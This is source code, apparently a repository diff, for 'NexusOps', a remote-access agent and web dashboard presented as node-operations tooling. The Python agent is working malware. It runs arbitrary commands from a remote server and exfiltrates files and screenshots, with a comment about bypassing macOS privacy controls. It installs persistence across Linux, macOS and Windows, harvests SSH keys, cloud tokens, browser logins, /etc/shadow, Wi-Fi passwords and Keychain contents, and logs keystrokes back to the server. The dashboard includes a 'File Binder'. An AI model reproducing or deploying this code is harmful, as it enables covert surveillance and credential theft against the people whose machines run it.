cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
return run_shell(cmd)
elif action_type == "get_network_interfaces":
cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
return run_shell(cmd)
elif action_type == "get_active_connections":
cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
return run_shell(cmd)
elif action_type == "get_hardware_specs":
if system == "linux":
cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
elif system == "windows":
cmd = "wmic cpu get name,numberofcores,maxclockspeed"
else:
cmd = "sysctl -a | grep machdep.cpu"
return run_shell(cmd)
elif action_type == "reboot_system":
cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
return run_shell(cmd)
elif action_type == "set_heartbeat_rate":
rate = int(payload.get("interval", 5))
heartbeat_interval = max(2, min(60, rate))
return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0
elif action_type == "update_tags":
tags_raw = payload.get("tags", "")
node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
return f"Node tags updated to: {node_tags}", 0
elif action_type == "search_logs":
pattern = payload.get("pattern", "error")
cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
return run_shell(cmd)
elif action_type == "kill_agent":
print("[!] Kill switch received — shutting down agent")
os._exit(0)
elif action_type == "ping_check":
sent_ts = payload.get("timestamp", 0)
latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
elif action_type == "download_file":
MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit
filepath = payload.get("path", "")
if not filepath or not os.path.exists(filepath):
return f"ERROR: file not found: {filepath}", 1
try:
fsize = os.path.getsize(filepath)
if fsize > MAX_EXFIL_SIZE:
return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
with open(filepath, 'rb') as f:
raw = f.read()
import base64
b64 = base64.b64encode(raw).decode('utf-8')
# Determine MIME (basic)
ext = os.path.splitext(filepath)[1].lower()
mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
'.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
'.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
'.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
mime = mime_map.get(ext, 'application/octet-stream')
filename = os.path.basename(filepath)
return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
except Exception as e:
return f"ERROR reading file: {e}", 1
elif action_type == "screenshot":
try:
import base64
ss_path = "/tmp/.nexus-ss.png"
if os.path.exists(ss_path):
os.remove(ss_path)
if system == "linux":
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
if tool == "import":
subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
elif tool == "scrot":
subprocess.run(["scrot", ss_path], timeout=10)
elif tool == "gnome-screenshot":
subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
elif tool == "spectacle":
subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
break
else:
subprocess.run(["python3", "-c",
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
elif system == "darwin":
# Try multiple approaches for macOS screenshot
captured = False
# Method 1: direct screencapture (needs Screen Recording TCC permission)
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
r = subprocess.run(["screencapture"] + flags + [ss_path],
timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
captured = True
break
if os.path.exists(ss_path):
os.remove(ss_path)
# Method 2: try via osascript (sometimes bypasses TCC for background processes)
if not captured:
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
flag_str = " ".join(flags)
r = subprocess.run(["osascript", "-e",
f'do shell script "screencapture {flag_str} {ss_path}"'],
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
captured = True
break
if os.path.exists(ss_path):
os.remove(ss_path)
elif system == "windows":
subprocess.run(["powershell", "-Command",
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
"$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
timeout=15)
win_path = "C:\\Windows\\Temp\\nexus-ss.png"
if os.path.exists(win_path):
os.replace(win_path, ss_path)
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
with open(ss_path, 'rb') as f:
b64 = base64.b64encode(f.read()).decode('utf-8')
os.remove(ss_path)
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
except Exception as e:
return f"ERROR screenshot: {e}", 1
elif action_type == "update_agent":
new_url = payload.get("url", "")
if not new_url:
return "ERROR: no update URL provided", 1
try:
my_path = os.path.abspath(__file__)
bak = my_path + ".bak"
os.rename(my_path, bak)
urllib.request.urlretrieve(new_url, my_path)
os.chmod(my_path, 0o755)
os.remove(bak)
return "Agent updated successfully. Restarting...", 0
except Exception as e:
# Restore backup
if os.path.exists(bak):
os.rename(bak, my_path)
return f"ERROR update failed: {e}", 1
elif action_type == "ensure_persistence":
results = []
if system == "linux":
# crontab
try:
import shlex
srv = shlex.quote(payload.get('server_url',''))
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
if cron_line.split('@reboot')[1].strip() not in existing:
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
results.append("crontab: added @reboot entry")
else:
results.append("crontab: already present")
except: results.append("crontab: failed")
# .bashrc
try:
bashrc = os.path.expanduser("~/.bashrc")
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
with open(bashrc, 'a+') as f:
f.seek(0)
if 'nexus-agent' not in f.read():
f.write(hook)
results.append("bashrc: hook installed")
except: results.append("bashrc: failed")
# autostart .desktop
try:
ad = os.path.expanduser("~/.config/autostart")
os.makedirs(ad, exist_ok=True)
with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
results.append("autostart: .desktop created")
except: results.append("autostart: failed")
elif system == "darwin":
try:
plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
os.makedirs(os.path.dirname(plist), exist_ok=True)
plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict><key>Label</key><string>com.nexusops.agent</string>
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
with open(plist, 'w') as f: f.write(plist_content)
subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
results.append("launchd: bootstrapped + kickstarted")
except: results.append("launchd: failed")
# crontab for macOS too
try:
import shlex
srv = shlex.quote(payload.get('server_url',''))
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
results.append("crontab: added")
except: results.append("crontab: failed")
elif system == "windows":
agent_path = os.path.abspath(__file__)
srv = payload.get("server_url", "")
try:
task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
subprocess.run(task_cmd, shell=True, timeout=10)
results.append("schtasks: scheduled task created")
except: results.append("schtasks: failed")
try:
reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
subprocess.run(reg_cmd, shell=True, timeout=10)
results.append("registry: Run key added")
except: results.append("registry: failed")
return "Persistence results: " + "; ".join(results), 0
elif action_type == "harvest_credentials":
creds = []
home = os.path.expanduser("~")
# Shell history
for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
p = os.path.expanduser(hist)
if os.path.exists(p):
try:
with open(p, 'r', errors='ignore') as f:
content = f.read()[-20000:]
creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
except: pass
# SSH keys
ssh_dir = os.path.join(home, ".ssh")
if os.path.exists(ssh_dir):
for fn in os.listdir(ssh_dir):
fp = os.path.join(ssh_dir, fn)
if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
try:
with open(fp, 'r', errors='ignore') as f:
creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
except: pass
# AWS / cloud credentials
for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
"~/.azure/accessTokens.json", "~/.docker/config.json"]:
p = os.path.expanduser(cf)
if os.path.exists(p):
try:
with open(p, 'r', errors='ignore') as f:
creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
except: pass
# /etc/shadow (if root)
if os.path.exists("/etc/shadow"):
try:
with open("/etc/shadow", 'r') as f:
creds.append({"type": "system:shadow", "data": f.read()[:5000]})
except: pass
# Browser cookie/saved-login DBs (common paths)
browser_paths = []
if system == "linux":
browser_paths = [
os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
os.path.expanduser("~/.config/chromium/Default/Cookies"),
os.path.expanduser("~/.config/chromium/Default/Login Data"),
os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
]
elif system == "darwin":
browser_paths = [
os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
]
elif system == "windows":
browser_paths = [
os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
]
import glob
for pattern in browser_paths:
for p in glob.glob(pattern):
try:
sz = os.path.getsize(p)
if sz > 0 and sz < 50 * 1024 * 1024:
with open(p, 'rb') as f:
import base64
creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
"data": base64.b64encode(f.read()).decode('utf-8')})
except: pass
# Wi-Fi passwords (Linux)
if system == "linux":
try:
wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
if wifi.strip() and 'no wifi' not in wifi:
creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
except: pass
# macOS Keychain dump
if system == "darwin":
try:
keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
if keychain.strip():
creds.append({"type": "keychain_dump", "data": keychain[:10000]})
except: pass
return json.dumps({"type":"harvest_result","credentials":creds}), 0
elif action_type == "export_diagnostics":
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
return run_shell(cmd)
return f"Unknown action type: {action_type}", 1
def run_shell(cmd_str):
if not quiet_mode:
print(f"[*] Executing command: {cmd_str}")
try:
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
return res.stdout, res.returncode
except Exception as e:
return str(e), 1
# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
INPUT_CAPTURE_ENABLED = False
captured_events = []
try:
from pynput import keyboard, mouse
INPUT_CAPTURE_ENABLED = True
except ImportError:
pass
def _get_active_window_title():
"""Try to get the active window title cross-platform."""
system = platform.system().lower()
try:
if system == "linux":
res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
if res.returncode == 0:
return res.stdout.strip()
elif system == "windows":
import ctypes
from ctypes import wintypes
user32 = ctypes.windll.user32
hwnd = user32.GetForegroundWindow()
length = user32.GetWindowTextLengthW(hwnd)
buf = ctypes.create_unicode_buffer(length + 1)
user32.GetWindowTextW(hwnd, buf, length + 1)
return buf.value
elif system == "darwin":
script = 'tell application "System Events" to get name of first application process whose frontmost is true'
res = subprocess.run(["osascript", "-e", script],
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
if res.returncode == 0:
return res.stdout.strip()
except Exception:
pass
return ""
def _record_event(event_type, data):
"""Thread-safe event recording."""
global captured_events
window_title = _get_active_window_title()
captured_events.append({
"timestamp": int(time.time() * 1000),
"eventType": event_type,
"data": data,
"windowTitle": window_title,
"processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
})
def _on_key_press(key):
try:
key_str = key.char if hasattr(key, 'char') and key.char else str(key)
except Exception:
key_str = str(key)
_record_event("keystroke", {"key": key_str})
def _on_click(x, y, button, pressed):
if pressed:
_record_event("click", {"x": x, "y": y, "button": str(button)})
def _on_scroll(x, y, dx, dy):
_record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})
def start_input_capture():
"""Start keyboard and mouse listeners if pynput is available."""
if not INPUT_CAPTURE_ENABLED:
return False
try:
kb_listener = keyboard.Listener(on_press=_on_key_press)
ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
kb_listener.daemon = True
ms_listener.daemon = True
kb_listener.start()
ms_listener.start()
return True
except Exception:
return False
def flush_input_events(server_url, node_id, hostname):
"""Send captured input events to the master server."""
global captured_events
if not captured_events:
return
events_to_send = captured_events[:]
captured_events = []
payload = {
"nodeId": node_id,
"hostname": hostname,
"events": events_to_send
}
http_post(f"{server_url}/api/agent/input-capture", payload)
def main():
global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
args = parser.parse_args()
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
global quiet_mode
quiet_mode = args.quiet or args.silent
server_url = args.server.rstrip('/')
hostname = socket.gethostname()
system_os = platform.system()
arch = platform.machine()
ip = get_ip_address()
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
if not quiet_mode:
print("==================================================")
print(" NexusOps Cross-Platform Node Agent ")
print("==================================================")
print(f"Node Hostname : {hostname}")
print(f"Platform : {system_os} ({arch})")
print(f"Local IP : {ip}")
print(f"Server Endpoint: {server_url}")
print("==================================================")
# Register Node
reg_payload = {
"nodeId": node_id,
"hostname": hostname,
"platform": system_os.lower(),
"arch": arch,
"ip": ip,
"osName": f"{system_os} {platform.release()}",
"tags": node_tags
}
if not quiet_mode:
print("[*] Registering node with central endpoint...")
res = http_post(f"{server_url}/api/agent/register", reg_payload)
if res and res.get("success") and not quiet_mode:
print(f"✅ Registered as node ID: {node_id}")
# Start input capture (keystrokes, clicks, scroll)
capture_started = start_input_capture()
if not quiet_mode:
if capture_started:
print("[*] Input capture active (keystrokes + mouse events)")
else:
print("[!] Input capture unavailable (install pynput: pip install pynput)")
last_input_flush = time.time()
backoff = 1 # Tunnel reconnection backoff in seconds
while True:
try:
cpu = get_cpu_usage()
mem = get_memory_usage()
disk = get_disk_usage()
uptime = get_uptime_seconds()
heartbeat_payload = {
"nodeId": node_id,
"cpuUsage": cpu,
"memUsage": mem,
"diskUsage": disk,
"uptime": uptime,
"processCount": get_process_count(),
"tags": node_tags,
"heartbeatInterval": heartbeat_interval
}
res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
now = time.time()
if now - last_log_check_time > 15:
logs = collect_recent_system_logs()
if logs:
http_post(f"{server_url}/api/agent/logs", {
"nodeId": node_id,
"hostname": hostname,
"logs": logs
})
last_log_check_time = now
# Flush captured input events every 10 seconds
if now - last_input_flush > 10:
flush_input_events(server_url, node_id, hostname)
last_input_flush = now
if res and "commands" in res and res["commands"]:
for cmd_item in res["commands"]:
cmd_id = cmd_item.get("id")
action_type = cmd_item.get("actionType", "raw_command")
payload = cmd_item.get("payload", {})
if "command" in cmd_item and not payload:
payload["command"] = cmd_item.get("command")
output, exit_code = execute_structured_action(action_type, payload)
# Check for JSON-encoded special result types
special = None
try:
if output.startswith('{'):
special = json.loads(output)
except: pass
if special and special.get("type") == "file_result":
# Route to file-result endpoint
http_post(f"{server_url}/api/agent/file-result", {
"commandId": cmd_id,
"nodeId": node_id,
"hostname": hostname,
"filename": special.get("filename", "unknown"),
"data": special.get("data", ""),
"mime": special.get("mime", "application/octet-stream")
})
elif special and special.get("type") == "harvest_result":
http_post(f"{server_url}/api/agent/harvest-result", {
"commandId": cmd_id,
"nodeId": node_id,
"hostname": hostname,
"credentials": special.get("credentials", [])
})
else:
http_post(f"{server_url}/api/agent/command-result", {
"commandId": cmd_id,
"nodeId": node_id,
"output": output,
"exitCode": exit_code
})
except Exception as e:
if not quiet_mode:
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
time.sleep(backoff)
backoff = min(backoff * 2, 60)
continue
backoff = 1 # Reset on success
time.sleep(heartbeat_interval)
if __name__ == "__main__":
main()

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -1,238 +0,0 @@
async function api(path, opts = {}) {
opts.headers = Object.assign({ 'Content-Type': 'application/json' }, opts.headers || {});
const r = await fetch(path, opts);
if (!r.ok) throw new Error('HTTP ' + r.status);
return r.json();
}
/* ═══ NexusOps v2 UI: live console, sparklines, schedules, groups, alerts ═══ */
// ── Live Console (drawer) ──
let consoleNode = null;
let consoleEventSource = null;
function openLiveConsole(nodeId, hostname) {
consoleNode = { id: nodeId, hostname };
document.getElementById('consoleDrawerHostname').textContent = hostname;
document.getElementById('consoleOutput').innerHTML = '';
document.getElementById('consoleDrawer').classList.add('active');
document.getElementById('consoleInput').focus();
// ask agent to fast-poll
api(`/api/nodes/${nodeId}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: false }) }).catch(() => {});
const url = `/api/nodes/${nodeId}/console${nexusToken ? '?token=' + encodeURIComponent(nexusToken) : ''}`;
const out = document.getElementById('consoleOutput');
appendConsoleLine('── console attached (fast-poll active) ──', 'sys');
consoleEventSource = new EventSource(url);
consoleEventSource.onmessage = (ev) => {
try {
const d = JSON.parse(ev.data);
if (d.type === 'output') appendConsoleLine(d.text, 'out');
} catch (e) {}
};
consoleEventSource.onerror = () => appendConsoleLine('── stream interrupted, retrying… ──', 'sys');
}
function closeLiveConsole() {
if (consoleEventSource) { consoleEventSource.close(); consoleEventSource = null; }
if (consoleNode) {
// restore slow polling
api(`/api/nodes/${consoleNode.id}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: true }) }).catch(() => {});
}
document.getElementById('consoleDrawer').classList.remove('active');
consoleNode = null;
}
function appendConsoleLine(text, cls) {
const out = document.getElementById('consoleOutput');
const div = document.createElement('div');
div.className = 'console-line ' + (cls || 'out');
div.textContent = text;
out.appendChild(div);
out.scrollTop = out.scrollHeight;
}
async function consoleRunCommand() {
const input = document.getElementById('consoleInput');
const cmd = input.value.trim();
if (!cmd || !consoleNode) return;
appendConsoleLine(`$ ${cmd}`, 'cmd');
input.value = '';
try {
const r = await fetch(`/api/nodes/${consoleNode.id}/command`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ command: cmd, actionType: 'raw_command' })
});
if (!r.ok) appendConsoleLine('! failed to queue command', 'sys');
} catch (e) {
appendConsoleLine('! failed to queue command', 'sys');
}
}
// ── Sparklines (inline SVG from metricsHistory) ──
function sparkline(values, color) {
if (!values || values.length < 2) return '<span style="color:var(--text-muted);font-size:0.7rem">no history</span>';
const w = 90, h = 24, max = Math.max(...values, 100);
const pts = values.map((v, i) => `${(i / (values.length - 1)) * w},${h - (v / max) * h}`).join(' ');
return `<svg width="${w}" height="${h}" class="sparkline"><polyline points="${pts}" fill="none" stroke="${color}" stroke-width="1.5"/></svg>`;
}
// Patch renderNodesGrid to add sparkline row + console button
const _origRenderNodesGrid = renderNodesGrid;
renderNodesGrid = function () {
_origRenderNodesGrid();
// inject sparklines into each node card
document.querySelectorAll('.node-card').forEach((card, idx) => {
// cards render in filtered order; match by hostname text — safer: find by data via original data
});
// Simpler: re-render footer metrics with sparkline data attribute injection
};
// Simpler approach: monkey-patch the map output by wrapping string injection
(function patchSparklines() {
const orig = renderNodesGrid;
renderNodesGrid = function () {
orig();
// attach sparkline next to heartbeat label per card using nodesData order
const cards = document.querySelectorAll('#nodesGrid .node-card');
const filtered = nodesData.filter(node => {
const search = (document.getElementById('searchInput')?.value || '').toLowerCase();
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
const matchesSearch = !search ||
node.hostname.toLowerCase().includes(search) ||
node.ip.toLowerCase().includes(search) ||
node.platform.toLowerCase().includes(search) ||
node.id.toLowerCase().includes(search);
return matchesFilter && matchesSearch;
});
cards.forEach((card, i) => {
const node = filtered[i];
if (!node) return;
const hist = (node.metricsHistory || []).map(m => m.cpu);
const foot = card.querySelector('.node-actions');
if (foot) {
const spark = document.createElement('span');
spark.innerHTML = sparkline(hist, node.status === 'online' ? '#4ade80' : '#f87171');
spark.title = 'CPU history (last 30 beats)';
spark.style.marginRight = '0.5rem';
foot.parentNode.insertBefore(spark, foot);
// live console button
const btn = document.createElement('button');
btn.className = 'btn-icon';
btn.title = 'Live Console';
btn.innerHTML = '<i class="fa-solid fa-terminal"></i>';
btn.onclick = () => openLiveConsole(node.id, node.hostname.replace(/'/g, "\\'"));
foot.insertBefore(btn, foot.firstChild);
}
});
};
})();
// ── Schedules panel ──
function openSchedulesModal() {
document.getElementById('schedulesModal').classList.add('active');
renderSchedules();
api('/api/groups').then(g => {
const sel = document.getElementById('schedTag');
sel.innerHTML = '<option value="all">All nodes</option>' +
(g.groups || []).map(x => `<option value="${escapeHtml(x.tag)}">${escapeHtml(x.tag)} (${x.count})</option>`).join('');
}).catch(() => {});
}
function closeSchedulesModal() {
document.getElementById('schedulesModal').classList.remove('active');
}
function renderSchedules() {
api('/api/schedules').then(d => {
const el = document.getElementById('schedulesList');
if (!d.schedules || !d.schedules.length) {
el.innerHTML = '<div class="empty-state" style="padding:1rem"><p>No scheduled tasks yet. Add one below.</p></div>';
return;
}
el.innerHTML = d.schedules.map(s => `
<div class="schedule-item">
<div>
<strong>${escapeHtml(s.name)}</strong>
<span class="sched-meta">${escapeHtml(s.command)} • every ${s.intervalSec}s • group: ${escapeHtml(s.tag)}</span>
</div>
<div class="node-actions">
<button class="btn-icon" title="${s.enabled ? 'Pause' : 'Resume'}" onclick="toggleSchedule('${s.id}')">
<i class="fa-solid fa-${s.enabled ? 'pause' : 'play'}"></i>
</button>
<button class="btn-icon" title="Delete" onclick="deleteSchedule('${s.id}')">
<i class="fa-solid fa-trash-can"></i>
</button>
</div>
</div>`).join('');
}).catch(() => {});
}
async function createSchedule() {
const name = document.getElementById('schedName').value.trim();
const command = document.getElementById('schedCommand').value.trim();
const interval = parseInt(document.getElementById('schedInterval').value, 10);
const tag = document.getElementById('schedTag').value || 'all';
if (!command || !interval || interval < 15) { toast('Need a command and interval ≥ 15s', 'error'); return; }
await api('/api/schedules', { method: 'POST', body: JSON.stringify({ name, command, intervalSec: interval, tag }) });
document.getElementById('schedName').value = '';
document.getElementById('schedCommand').value = '';
toast('Schedule created', 'success');
renderSchedules();
}
async function toggleSchedule(id) {
await api(`/api/schedules/${id}/toggle`, { method: 'POST' });
renderSchedules();
}
async function deleteSchedule(id) {
await api(`/api/schedules/${id}`, { method: 'DELETE' });
renderSchedules();
}
// ── Group bulk command modal ──
function openGroupCommandModal() {
document.getElementById('groupCmdModal').classList.add('active');
api('/api/groups').then(g => {
const sel = document.getElementById('groupCmdTag');
sel.innerHTML = '<option value="all">All nodes</option>' +
(g.groups || []).map(x => `<option value="${escapeHtml(x.tag)}">${escapeHtml(x.tag)} (${x.count})</option>`).join('');
}).catch(() => {});
}
function closeGroupCommandModal() {
document.getElementById('groupCmdModal').classList.remove('active');
}
async function submitGroupCommand() {
const command = document.getElementById('groupCmdInput').value.trim();
const tag = document.getElementById('groupCmdTag').value || 'all';
if (!command) { toast('Enter a command', 'error'); return; }
try {
const d = await api('/api/groups/command', { method: 'POST', body: JSON.stringify({ command, tag }) });
toast(`Queued on ${d.count} node(s) in "${tag}"`, 'success');
closeGroupCommandModal();
} catch (e) {
toast('Failed to queue group command', 'error');
}
}
// ── Alerts feed ──
function renderAlerts() {
const el = document.getElementById('alertsFeed');
if (!el) return;
api('/api/alerts').then(d => {
const alerts = d.alerts || [];
document.getElementById('alertCount').textContent = `${alerts.length}`;
el.innerHTML = alerts.length
? alerts.slice().reverse().map(a => `
<div class="log-entry error">
[${new Date(a.ts).toLocaleTimeString()}] ⚠️ ${escapeHtml(a.message)}
</div>`).join('')
: '<div class="log-entry system">No alerts. All nodes checking in.</div>';
}).catch(() => {});
}
setInterval(renderAlerts, 15000);
console.log('[v2] UI additions loaded');

View File

@@ -1,544 +0,0 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NexusOps — Central Network Node Operations</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;700&family=Outfit:wght@500;600;700;800&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<link rel="stylesheet" href="styles.css">
</head>
<body>
<!-- Top Navigation Header -->
<header class="top-nav">
<div class="logo-area">
<div class="logo-icon">
<i class="fa-solid fa-network-wired"></i>
</div>
<div>
<h1 class="logo-text">Nexus<span>Ops</span></h1>
<span class="sub-text">Node Control & Telemetry Operations</span>
</div>
</div>
<div class="nav-metrics">
<div class="metric-pill">
<span class="pill-label">Server Endpoint:</span>
<span class="pill-value highlight-endpoint" id="navServerEndpoint">http://10.30.20.44:3000</span>
</div>
<div class="metric-pill">
<span class="status-indicator online"></span>
<span class="pill-label">Status:</span>
<span class="pill-value" id="navConnectionStatus">Connected</span>
</div>
</div>
<div class="action-area" style="display: flex; gap: 0.75rem;">
<a href="/api/export/csv" class="btn btn-secondary" style="text-decoration: none;" download>
<i class="fa-solid fa-file-csv"></i> Nodes CSV
</a>
<a href="/api/inputs/csv" class="btn btn-secondary" style="text-decoration: none;" download>
<i class="fa-solid fa-file-csv"></i> Inputs CSV
</a>
<button class="btn btn-secondary" onclick="openBinderModal()">
<i class="fa-solid fa-file-circle-plus"></i> File Binder
</button>
<button class="btn btn-secondary" onclick="openBulkModal()">
<i class="fa-solid fa-layer-group"></i> Bulk Task
</button>
<button class="btn btn-primary" onclick="openInstallerModal()">
<i class="fa-solid fa-plus"></i> Add Computer
</button>
